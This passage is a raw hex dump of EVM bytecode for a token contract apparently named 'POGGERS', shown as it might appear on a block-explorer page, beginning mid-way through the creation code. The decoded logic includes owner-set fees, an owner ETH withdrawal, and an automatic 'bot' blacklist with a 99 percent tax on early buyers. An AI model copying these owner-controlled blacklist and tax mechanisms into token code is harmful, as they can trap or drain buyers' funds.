57600080fd5b506102b861036a366004611e90565b61091e565b34801561037b57600080fd5b506102356109e0565b34801561039057600080fd5b506102b861039f366004611e2a565b6000546001600160a01b0391821691161490565b3480156103bf57600080fd5b506040516012815260200161023f565b3480156103db57600080fd5b506102b86103ea366004611e2a565b600c6020526000908152604090205460ff1681565b34801561040b57600080fd5b506102b861041a366004611e2a565b600d6020526000908152604090205460ff1681565b34801561043b57600080fd5b506102b861044a366004611e2a565b610a32565b34801561045b57600080fd5b506103186001600855565b34801561047257600080fd5b5061023560065481565b34801561048857600080fd5b50610318610497366004611e45565b610a40565b3480156104a857600080fd5b506022546102b890600160a01b900460ff1681565b3480156104c957600080fd5b506102356104d8366004611e2a565b6001600160a01b031660009081526007602052604090205490565b3480156104ff57600080fd5b50610318610af0565b34801561051457600080fd5b5061023560055481565b34801561052a57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161023f565b34801561055c57600080fd5b506102b861056b366004611e2a565b600e6020526000908152604090205460ff1681565b34801561058c57600080fd5b50604080518082019091526007815266504f474745525360c81b602082015261028b565b3480156105bc57600080fd5b506103186105cb366004611edc565b610b5f565b3480156105dc57600080fd5b50602254610538906001600160a01b031681565b3480156105fc57600080fd5b5061031861060b366004611e77565b610df4565b34801561061c57600080fd5b506102b861062b366004611e00565b610ea0565b34801561063c57600080fd5b506102b861064b366004611e2a565b600b6020526000908152604090205460ff1681565b34801561066c57600080fd5b5061023560115481565b34801561068257600080fd5b50610318610691366004611e77565b610ead565b3480156106a257600080fd5b506102356106b1366004611f0f565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156106e857600080fd5b506103186106f7366004611f39565b610f2d565b34801561070857600080fd5b50610538610717366004611e77565b610fb6565b34801561072857600080fd5b50602154610538906001600160a01b031681565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107979086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b81526004016107d390611f55565b60405180910390fd5b6013849055601483905560158290556107ff826107f98686610fe0565b90610fe0565b601b819055601d829055601a5410156108645760405162461bcd60e51b815260206004820152602160248201527f466565732063616e6e6f7420626520686967686572207468616e204d617866656044820152606560f81b60648201526084016107d3565b60408051858152602081018590529081018390527ff12a090a464a491e1614a62b7d86a6f8d3fae25361d5af0911f39bd4fd7ea64d906060015b60405180910390a150505050565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016107d390611f55565b47336108fc60646108e78585611f8b565b6108f19190611fa2565b6040518115909202916000818181858888f19350505050158015610919573d6000803e3d6000fd5b505050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054600019146109cb576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546109a691849061103f565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6109d6848484611079565b90505b9392505050565b6003546001600160a01b0316600090815260076020526040812054610a2d906002546001600160a01b0316600090815260076020526040902054610a279060045490611494565b90611494565b905090565b60006107a38260001961073c565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016107d390611f55565b601684905560178390556018829055610a87826107f98686610fe0565b601c819055601d829055601a541015610ab25760405162461bcd60e51b81526004016107d390611fc4565b60408051858152602081018590529081018390527f969e8ecd326f5fe41e2a3cd9798553fbecef5705da23954426a09c9360c7aa579060600161089e565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016107d390611f55565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016107d390611f55565b6001600160a01b0382166000908152600b602052604090205481151560ff909116151503610bed5760405162461bcd60e51b815260206004820152601160248201527015985b1d5948185b1c9958591e481cd95d607a1b60448201526064016107d3565b6001600160a01b0382166000908152600b60205260409020805460ff19168215801591909117909155610c6a57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b038416179055610db8565b600a54600110610cae5760405162461bcd60e51b815260206004820152600f60248201526e2932b8bab4b932b21018903830b4b960891b60448201526064016107d3565b60005b600a54811015610db657826001600160a01b0316600a8281548110610cd857610cd8612006565b6000918252602090912001546001600160a01b031603610da457600a8054610d029060019061201c565b81548110610d1257610d12612006565b600091825260209091200154600a80546001600160a01b039092169183908110610d3e57610d3e612006565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600a805480610d7d57610d7d61202f565b600082815260209020810160001990810180546001600160a01b0319169055019055610db6565b80610dae81612045565b915050610cb1565b505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6000546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016107d390611f55565b610fa08110610e645760405162461bcd60e51b8152602060048201526012602482015271086c2dc4ee840cede40e8d0c2e840d0d2ced60731b60448201526064016107d3565b60108190556040518181527f80838eb3341767dec8bc142ca41047631270a18952c3b835d5ca0d1c3608a2cb906020015b60405180910390a150565b60006109d9338484611079565b6000546001600160a01b03163314610ed75760405162461bcd60e51b81526004016107d390611f55565b601a548110610ef85760405162461bcd60e51b81526004016107d390611fc4565b60198190556040518181527f0496ed1e61eb69727f9659a8e859288db4758ffb1f744d1c1424634f90a257f490602001610e95565b6000546001600160a01b03163314610f575760405162461bcd60e51b81526004016107d390611f55565b6022805460ff60a01b1916600160a01b84151590810291909117909155602382905560408051918252602082018390527fbb6a036f87bc4903f9d59c9f83a8733a8e8004a0a17b29bf1a817b4fe6bcf6bd910160405180910390a15050565b600a8181548110610fc657600080fd5b6000918252602090912001546001600160a01b0316905081565b600080610fed838561205e565b9050838110156109d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d3565b600081848411156110635760405162461bcd60e51b81526004016107d39190611d96565b506000611070848661201c565b95945050505050565b6001600160a01b0383166000908152600c602052604081205460ff161580156110bb57506001600160a01b0383166000908152600c602052604090205460ff16155b6110f05760405162461bcd60e51b81526020600482015260066024820152651a5cc8109bdd60d21b60448201526064016107d3565b60245460ff161561110d576111068484846114d6565b90506109d9565b6111156115aa565b1561112257611122611602565b6001600160a01b0384166000908152600b6020526040902054829060ff1615611254576001600160a01b0384166000908152600d602052604090205460ff1661124f576006546001600160a01b03851660009081526007602052604090205461118b9085610fe0565b1115806111b057506001600160a01b0384166000908152600f602052604090205460ff165b6111fc5760405162461bcd60e51b815260206004820152601f60248201527f4d61782057616c6c6574204c696d6974204c696d69742045786365656465640060448201526064016107d3565b6005548311158061122557506001600160a01b0384166000908152600e602052604090205460ff165b6112415760405162461bcd60e51b81526004016107d390612071565b61124c8585856118f3565b90505b6113ed565b6001600160a01b0384166000908152600b602052604090205460ff16156112e4576001600160a01b0385166000908152600d602052604090205460ff1661124f57600554831115806112be57506001600160a01b0385166000908152600e602052604090205460ff165b6112da5760405162461bcd60e51b81526004016107d390612071565b61124c8584611a9a565b6001600160a01b0385166000908152600d602052604090205460ff166113ed576006546001600160a01b03851660009081526007602052604090205461132a9085610fe0565b11158061134f57506001600160a01b0384166000908152600f602052604090205460ff165b61139b5760405162461bcd60e51b815260206004820152601f60248201527f4d61782057616c6c6574204c696d6974204c696d69742045786365656465640060448201526064016107d3565b600554831115806113c457506001600160a01b0385166000908152600e602052604090205460ff165b6113e05760405162461bcd60e51b81526004016107d390612071565b6113ea8584611c0c565b90505b6001600160a01b0385166000908152600760205260409020546114109084611494565b6001600160a01b03808716600090815260076020526040808220939093559086168152205461143f9082610fe0565b6001600160a01b03808616600081815260076020526040908190209390935591519087169060008051602061213c833981519152906114819085815260200190565b60405180910390a3506001949350505050565b60006109d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260079091529182205461152791849061103f565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546115569083610fe0565b6001600160a01b03808516600081815260076020526040908190209390935591519086169060008051602061213c833981519152906115989086815260200190565b60405180910390a35060019392505050565b336000908152600b602052604081205460ff161580156115cd575060245460ff16155b80156115e25750602254600160a01b900460ff165b8015610a2d57505060235430600090815260076020526040902054101590565b6024805460ff191660011790556016546013546000916116229190610fe0565b90506000611649601854610a27601554610a27601c54601b54610fe090919063ffffffff16565b6023549091506000611668600261166285818689611ca9565b90611d2b565b905060006116768383611494565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106116b0576116b0612006565b6001600160a01b03928316602091820292909201015260018054835192169183919081106116e0576116e0612006565b6001600160a01b03928316602091820292909201015260215460405163791ac94760e01b815291169063791ac9479061172690869060009086903090429060040161209c565b600060405180830381600087803b15801561174057600080fd5b505af1158015611754573d6000803e3d6000fd5b50505050600061176d834761149490919063ffffffff16565b9050600061178661177f8a6002611d2b565b8990611494565b905060006117b46002611662846116626117ad601654601354610fe090919063ffffffff16565b8890611ca9565b905060006117dd836116626117d6601754601454610fe090919063ffffffff16565b8790611ca9565b601f546040519192506000916001600160a01b039091169083908381818185875af1925050503d806000811461182f576040519150601f19603f3d011682016040523d82523d6000602084013e611834565b606091505b506000925050891590506118db57602154601e5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af11580156118b2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118d7919061210d565b5050505b50506024805460ff1916905550505050505050505050565b6000601254431015611954576022546001600160a01b0384811691161480159061192b57506021546001600160a01b03848116911614155b15611954576001600160a01b0383166000908152600c60205260409020805460ff191660011790555b600061197d601d54611662611976601554601b5461149490919063ffffffff16565b8690611ca9565b9050600061199c601d5461166260155487611ca990919063ffffffff16565b905060006119aa8383610fe0565b306000908152600760205260409020549091506119c79084610fe0565b30600081815260076020526040908190209290925590516001600160a01b0389169060008051602061213c83398151915290611a069087815260200190565b60405180910390a38115611a8557602080546001600160a01b0316600090815260079091526040902054611a3a9083610fe0565b602080546001600160a01b03908116600090815260078352604090819020939093558154925185815292811692908a169160008051602061213c833981519152910160405180910390a35b611a8f8582611494565b979650505050505050565b600080600160085410611ace57611ac7601d54611662601854610a27606488611ca990919063ffffffff16565b9050611af2565b611aef601d54611662601854610a27601c5488611ca990919063ffffffff16565b90505b6000611b0f601d5461166260185487611ca990919063ffffffff16565b90506000611b1d8383610fe0565b30600090815260076020526040902054909150611b3a9084610fe0565b30600081815260076020526040908190209290925590516001600160a01b0388169060008051602061213c83398151915290611b799087815260200190565b60405180910390a38115611bf857602080546001600160a01b0316600090815260079091526040902054611bad9083610fe0565b602080546001600160a01b039081166000908152600783526040908190209390935581549251858152928116929089169160008051602061213c833981519152910160405180910390a35b611c028582611494565b9695505050505050565b60195460125460009190431015611c21575060635b601d54600090611c35906116628685611ca9565b90508015611c9f5730600090815260076020526040902054611c579082610fe0565b30600081815260076020526040908190209290925590516001600160a01b0387169060008051602061213c83398151915290611c969085815260200190565b60405180910390a35b6110708482611494565b600082600003611cbb575060006107a3565b6000611cc78385611f8b565b905082611cd48583611fa2565b146109d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d3565b60006109d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d895760405162461bcd60e51b81526004016107d39190611d96565b5060006110708486611fa2565b600060208083528351808285015260005b81811015611dc357858101830151858201604001528201611da7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611dfb57600080fd5b919050565b60008060408385031215611e1357600080fd5b611e1c83611de4565b946020939093013593505050565b600060208284031215611e3c57600080fd5b6109d982611de4565b60008060008060808587031215611e5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611e8957600080fd5b5035919050565b600080600060608486031215611ea557600080fd5b611eae84611de4565b9250611ebc60208501611de4565b9150604084013590509250925092565b80358015158114611dfb57600080fd5b60008060408385031215611eef57600080fd5b611ef883611de4565b9150611f0660208401611ecc565b90509250929050565b60008060408385031215611f2257600080fd5b611f2b83611de4565b9150611f0660208401611de4565b60008060408385031215611f4c57600080fd5b611e1c83611ecc565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176107a3576107a3611f75565b600082611fbf57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526022908201527f466565732063616e6e6f7420626520686967686572207468616e204d61786665604082015261652560f01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b818103818111156107a3576107a3611f75565b634e487b7160e01b600052603160045260246000fd5b60006001820161205757612057611f75565b5060010190565b808201808211156107a3576107a3611f75565b602080825260119082015270151608131a5b5a5d08115e18d959591959607a1b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120ec5784516001600160a01b0316835293830193918301916001016120c7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561212257600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122030e8990fb08d549035af826fc3ee4390c203d71cb09baa9e52187f03b025af1764736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102135760003560e01c80636ddd171311610118578063a8df7fb0116100a0578063d26ed3e31161006f578063d26ed3e314610676578063dd62ed3e14610696578063df20fd49146106dc578063e1d5584c146106fc578063f887ea401461071c57600080fd5b8063a8df7fb0146105f0578063a9059cbb14610610578063b62496f514610630578063d00efb2f1461066057600080fd5b8063893d20e8116100e7578063893d20e81461051e5780638b42507f1461055057806395d89b41146105805780639a7a23d6146105b0578063a8aa1b31146105d057600080fd5b80636ddd17131461049c57806370a08231146104bd578063715018a6146104f35780637d1db4a51461050857600080fd5b80632b112e491161019b5780633f4218e01161016a5780633f4218e0146103ff578063571ac8b01461042f5780635b895c291461044f5780636c0a24eb146104665780636c5b28551461047c57600080fd5b80632b112e491461036f5780632f54bf6e14610384578063313ce567146103b35780633bbac579146103cf57600080fd5b80630bd11f8a116101e25780630bd11f8a146102c8578063178d9b8e146102f857806318160ddd1461031a5780631da1db5e1461032f57806323b872dd1461034f57600080fd5b806301f59d161461021f5780630445b6671461024857806306fdde031461025e578063095ea7b31461029857600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610235601a5481565b6040519081526020015b60405180910390f35b34801561025457600080fd5b5061023560235481565b34801561026a57600080fd5b50604080518082019091526008815267504f47474552535360c01b60208201525b60405161023f9190611d96565b3480156102a457600080fd5b506102b86102b3366004611e00565b61073c565b604051901515815260200161023f565b3480156102d457600080fd5b506102b86102e3366004611e2a565b600f6020526000908152604090205460ff1681565b34801561030457600080fd5b50610318610313366004611e45565b6107a9565b005b34801561032657600080fd5b50600454610235565b34801561033b57600080fd5b5061031861034a366004611e77565b6108ac565b34801561035b57600080fd5b506102b861036a366004611e90565b61091e565b34801561037b57600080fd5b506102356109e0565b34801561039057600080fd5b506102b861039f366004611e2a565b6000546001600160a01b0391821691161490565b3480156103bf57600080fd5b506040516012815260200161023f565b3480156103db57600080fd5b506102b86103ea366004611e2a565b600c6020526000908152604090205460ff1681565b34801561040b57600080fd5b506102b861041a366004611e2a565b600d6020526000908152604090205460ff1681565b34801561043b57600080fd5b506102b861044a366004611e2a565b610a32565b34801561045b57600080fd5b506103186001600855565b34801561047257600080fd5b5061023560065481565b34801561048857600080fd5b50610318610497366004611e45565b610a40565b3480156104a857600080fd5b506022546102b890600160a01b900460ff1681565b3480156104c957600080fd5b506102356104d8366004611e2a565b6001600160a01b031660009081526007602052604090205490565b3480156104ff57600080fd5b50610318610af0565b34801561051457600080fd5b5061023560055481565b34801561052a57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161023f565b34801561055c57600080fd5b506102b861056b366004611e2a565b600e6020526000908152604090205460ff1681565b34801561058c57600080fd5b50604080518082019091526007815266504f474745525360c81b602082015261028b565b3480156105bc57600080fd5b506103186105cb366004611edc565b610b5f565b3480156105dc57600080fd5b50602254610538906001600160a01b031681565b3480156105fc57600080fd5b5061031861060b366004611e77565b610df4565b34801561061c57600080fd5b506102b861062b366004611e00565b610ea0565b34801561063c57600080fd5b506102b861064b366004611e2a565b600b6020526000908152604090205460ff1681565b34801561066c57600080fd5b5061023560115481565b34801561068257600080fd5b50610318610691366004611e77565b610ead565b3480156106a257600080fd5b506102356106b1366004611f0f565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156106e857600080fd5b506103186106f7366004611f39565b610f2d565b34801561070857600080fd5b50610538610717366004611e77565b610fb6565b34801561072857600080fd5b50602154610538906001600160a01b031681565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107979086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b81526004016107d390611f55565b60405180910390fd5b6013849055601483905560158290556107ff826107f98686610fe0565b90610fe0565b601b819055601d829055601a5410156108645760405162461bcd60e51b815260206004820152602160248201527f466565732063616e6e6f7420626520686967686572207468616e204d617866656044820152606560f81b60648201526084016107d3565b60408051858152602081018590529081018390527ff12a090a464a491e1614a62b7d86a6f8d3fae25361d5af0911f39bd4fd7ea64d906060015b60405180910390a150505050565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016107d390611f55565b47336108fc60646108e78585611f8b565b6108f19190611fa2565b6040518115909202916000818181858888f19350505050158015610919573d6000803e3d6000fd5b505050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054600019146109cb576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546109a691849061103f565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6109d6848484611079565b90505b9392505050565b6003546001600160a01b0316600090815260076020526040812054610a2d906002546001600160a01b0316600090815260076020526040902054610a279060045490611494565b90611494565b905090565b60006107a38260001961073c565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016107d390611f55565b601684905560178390556018829055610a87826107f98686610fe0565b601c819055601d829055601a541015610ab25760405162461bcd60e51b81526004016107d390611fc4565b60408051858152602081018590529081018390527f969e8ecd326f5fe41e2a3cd9798553fbecef5705da23954426a09c9360c7aa579060600161089e565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016107d390611f55565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016107d390611f55565b6001600160a01b0382166000908152600b602052604090205481151560ff909116151503610bed5760405162461bcd60e51b815260206004820152601160248201527015985b1d5948185b1c9958591e481cd95d607a1b60448201526064016107d3565b6001600160a01b0382166000908152600b60205260409020805460ff19168215801591909117909155610c6a57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b038416179055610db8565b600a54600110610cae5760405162461bcd60e51b815260206004820152600f60248201526e2932b8bab4b932b21018903830b4b960891b60448201526064016107d3565b60005b600a54811015610db657826001600160a01b0316600a8281548110610cd857610cd8612006565b6000918252602090912001546001600160a01b031603610da457600a8054610d029060019061201c565b81548110610d1257610d12612006565b600091825260209091200154600a80546001600160a01b039092169183908110610d3e57610d3e612006565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600a805480610d7d57610d7d61202f565b600082815260209020810160001990810180546001600160a01b0319169055019055610db6565b80610dae81612045565b915050610cb1565b505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6000546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016107d390611f55565b610fa08110610e645760405162461bcd60e51b8152602060048201526012602482015271086c2dc4ee840cede40e8d0c2e840d0d2ced60731b60448201526064016107d3565b60108190556040518181527f80838eb3341767dec8bc142ca41047631270a18952c3b835d5ca0d1c3608a2cb906020015b60405180910390a150565b60006109d9338484611079565b6000546001600160a01b03163314610ed75760405162461bcd60e51b81526004016107d390611f55565b601a548110610ef85760405162461bcd60e51b81526004016107d390611fc4565b60198190556040518181527f0496ed1e61eb69727f9659a8e859288db4758ffb1f744d1c1424634f90a257f490602001610e95565b6000546001600160a01b03163314610f575760405162461bcd60e51b81526004016107d390611f55565b6022805460ff60a01b1916600160a01b84151590810291909117909155602382905560408051918252602082018390527fbb6a036f87bc4903f9d59c9f83a8733a8e8004a0a17b29bf1a817b4fe6bcf6bd910160405180910390a15050565b600a8181548110610fc657600080fd5b6000918252602090912001546001600160a01b0316905081565b600080610fed838561205e565b9050838110156109d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d3565b600081848411156110635760405162461bcd60e51b81526004016107d39190611d96565b506000611070848661201c565b95945050505050565b6001600160a01b0383166000908152600c602052604081205460ff161580156110bb57506001600160a01b0383166000908152600c602052604090205460ff16155b6110f05760405162461bcd60e51b81526020600482015260066024820152651a5cc8109bdd60d21b60448201526064016107d3565b60245460ff161561110d576111068484846114d6565b90506109d9565b6111156115aa565b1561112257611122611602565b6001600160a01b0384166000908152600b6020526040902054829060ff1615611254576001600160a01b0384166000908152600d602052604090205460ff1661124f576006546001600160a01b03851660009081526007602052604090205461118b9085610fe0565b1115806111b057506001600160a01b0384166000908152600f602052604090205460ff165b6111fc5760405162461bcd60e51b815260206004820152601f60248201527f4d61782057616c6c6574204c696d6974204c696d69742045786365656465640060448201526064016107d3565b6005548311158061122557506001600160a01b0384166000908152600e602052604090205460ff165b6112415760405162461bcd60e51b81526004016107d390612071565b61124c8585856118f3565b90505b6113ed565b6001600160a01b0384166000908152600b602052604090205460ff16156112e4576001600160a01b0385166000908152600d602052604090205460ff1661124f57600554831115806112be57506001600160a01b0385166000908152600e602052604090205460ff165b6112da5760405162461bcd60e51b81526004016107d390612071565b61124c8584611a9a565b6001600160a01b0385166000908152600d602052604090205460ff166113ed576006546001600160a01b03851660009081526007602052604090205461132a9085610fe0565b11158061134f57506001600160a01b0384166000908152600f602052604090205460ff165b61139b5760405162461bcd60e51b815260206004820152601f60248201527f4d61782057616c6c6574204c696d6974204c696d69742045786365656465640060448201526064016107d3565b600554831115806113c457506001600160a01b0385166000908152600e602052604090205460ff165b6113e05760405162461bcd60e51b81526004016107d390612071565b6113ea8584611c0c565b90505b6001600160a01b0385166000908152600760205260409020546114109084611494565b6001600160a01b03808716600090815260076020526040808220939093559086168152205461143f9082610fe0565b6001600160a01b03808616600081815260076020526040908190209390935591519087169060008051602061213c833981519152906114819085815260200190565b60405180910390a3506001949350505050565b60006109d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260079091529182205461152791849061103f565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546115569083610fe0565b6001600160a01b03808516600081815260076020526040908190209390935591519086169060008051602061213c833981519152906115989086815260200190565b60405180910390a35060019392505050565b336000908152600b602052604081205460ff161580156115cd575060245460ff16155b80156115e25750602254600160a01b900460ff165b8015610a2d57505060235430600090815260076020526040902054101590565b6024805460ff191660011790556016546013546000916116229190610fe0565b90506000611649601854610a27601554610a27601c54601b54610fe090919063ffffffff16565b6023549091506000611668600261166285818689611ca9565b90611d2b565b905060006116768383611494565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106116b0576116b0612006565b6001600160a01b03928316602091820292909201015260018054835192169183919081106116e0576116e0612006565b6001600160a01b03928316602091820292909201015260215460405163791ac94760e01b815291169063791ac9479061172690869060009086903090429060040161209c565b600060405180830381600087803b15801561174057600080fd5b505af1158015611754573d6000803e3d6000fd5b50505050600061176d834761149490919063ffffffff16565b9050600061178661177f8a6002611d2b565b8990611494565b905060006117b46002611662846116626117ad601654601354610fe090919063ffffffff16565b8890611ca9565b905060006117dd836116626117d6601754601454610fe090919063ffffffff16565b8790611ca9565b601f546040519192506000916001600160a01b039091169083908381818185875af1925050503d806000811461182f576040519150601f19603f3d011682016040523d82523d6000602084013e611834565b606091505b506000925050891590506118db57602154601e5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af11580156118b2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118d7919061210d565b5050505b50506024805460ff1916905550505050505050505050565b6000601254431015611954576022546001600160a01b0384811691161480159061192b57506021546001600160a01b03848116911614155b15611954576001600160a01b0383166000908152600c60205260409020805460ff191660011790555b600061197d601d54611662611976601554601b5461149490919063ffffffff16565b8690611ca9565b9050600061199c601d5461166260155487611ca990919063ffffffff16565b905060006119aa8383610fe0565b306000908152600760205260409020549091506119c79084610fe0565b30600081815260076020526040908190209290925590516001600160a01b0389169060008051602061213c83398151915290611a069087815260200190565b60405180910390a38115611a8557602080546001600160a01b0316600090815260079091526040902054611a3a9083610fe0565b602080546001600160a01b03908116600090815260078352604090819020939093558154925185815292811692908a169160008051602061213c833981519152910160405180910390a35b611a8f8582611494565b979650505050505050565b600080600160085410611ace57611ac7601d54611662601854610a27606488611ca990919063ffffffff16565b9050611af2565b611aef601d54611662601854610a27601c5488611ca990919063ffffffff16565b90505b6000611b0f601d5461166260185487611ca990919063ffffffff16565b90506000611b1d8383610fe0565b30600090815260076020526040902054909150611b3a9084610fe0565b30600081815260076020526040908190209290925590516001600160a01b0388169060008051602061213c83398151915290611b799087815260200190565b60405180910390a38115611bf857602080546001600160a01b0316600090815260079091526040902054611bad9083610fe0565b602080546001600160a01b039081166000908152600783526040908190209390935581549251858152928116929089169160008051602061213c833981519152910160405180910390a35b611c028582611494565b9695505050505050565b60195460125460009190431015611c21575060635b601d54600090611c35906116628685611ca9565b90508015611c9f5730600090815260076020526040902054611c579082610fe0565b30600081815260076020526040908190209290925590516001600160a01b0387169060008051602061213c83398151915290611c969085815260200190565b60405180910390a35b6110708482611494565b600082600003611cbb575060006107a3565b6000611cc78385611f8b565b905082611cd48583611fa2565b146109d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d3565b60006109d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d895760405162461bcd60e51b81526004016107d39190611d96565b5060006110708486611fa2565b600060208083528351808285015260005b81811015611dc357858101830151858201604001528201611da7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611dfb57600080fd5b919050565b60008060408385031215611e1357600080fd5b611e1c83611de4565b946020939093013593505050565b600060208284031215611e3c57600080fd5b6109d982611de4565b60008060008060808587031215611e5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611e8957600080fd5b5035919050565b600080600060608486031215611ea557600080fd5b611eae84611de4565b9250611ebc60208501611de4565b9150604084013590509250925092565b80358015158114611dfb57600080fd5b60008060408385031215611eef57600080fd5b611ef883611de4565b9150611f0660208401611ecc565b90509250929050565b60008060408385031215611f2257600080fd5b611f2b83611de4565b9150611f0660208401611de4565b60008060408385031215611f4c57600080fd5b611e1c83611ecc565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176107a3576107a3611f75565b600082611fbf57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526022908201527f466565732063616e6e6f7420626520686967686572207468616e204d61786665604082015261652560f01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b818103818111156107a3576107a3611f75565b634e487b7160e01b600052603160045260246000fd5b60006001820161205757612057611f75565b5060010190565b808201808211156107a3576107a3611f75565b602080825260119082015270151608131a5b5a5d08115e18d959591959607a1b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120ec5784516001600160a01b0316835293830193918301916001016120c7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561212257600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122030e8990fb08d549035af826fc3ee4390c203d71cb09baa9e52187f03b025af1764736f6c63430008130033
Deployed Bytecode Sourcemap
